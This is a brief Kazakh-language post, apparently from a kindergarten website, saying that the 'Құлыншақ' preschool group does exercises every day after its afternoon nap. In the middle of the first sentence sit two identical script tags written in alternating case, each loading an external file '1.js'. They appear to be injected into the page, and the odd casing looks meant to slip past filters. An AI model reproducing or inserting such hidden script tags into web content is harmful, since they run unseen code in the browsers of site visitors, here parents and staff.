Түскі ұйқыдан кейінгі жаттығулар- денсаулық шараларының бірі.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Ұйқыдан сергек оянып, ағзаның дұрыс болуына, түскі ұйқыдан кейінгі жаттығу жақсы әсер етеді. Сондай жаттығулар кешенін "Құлыншақ " мектеп алды тобының балалары күн тәртібі бойынша күнделікті жасайды.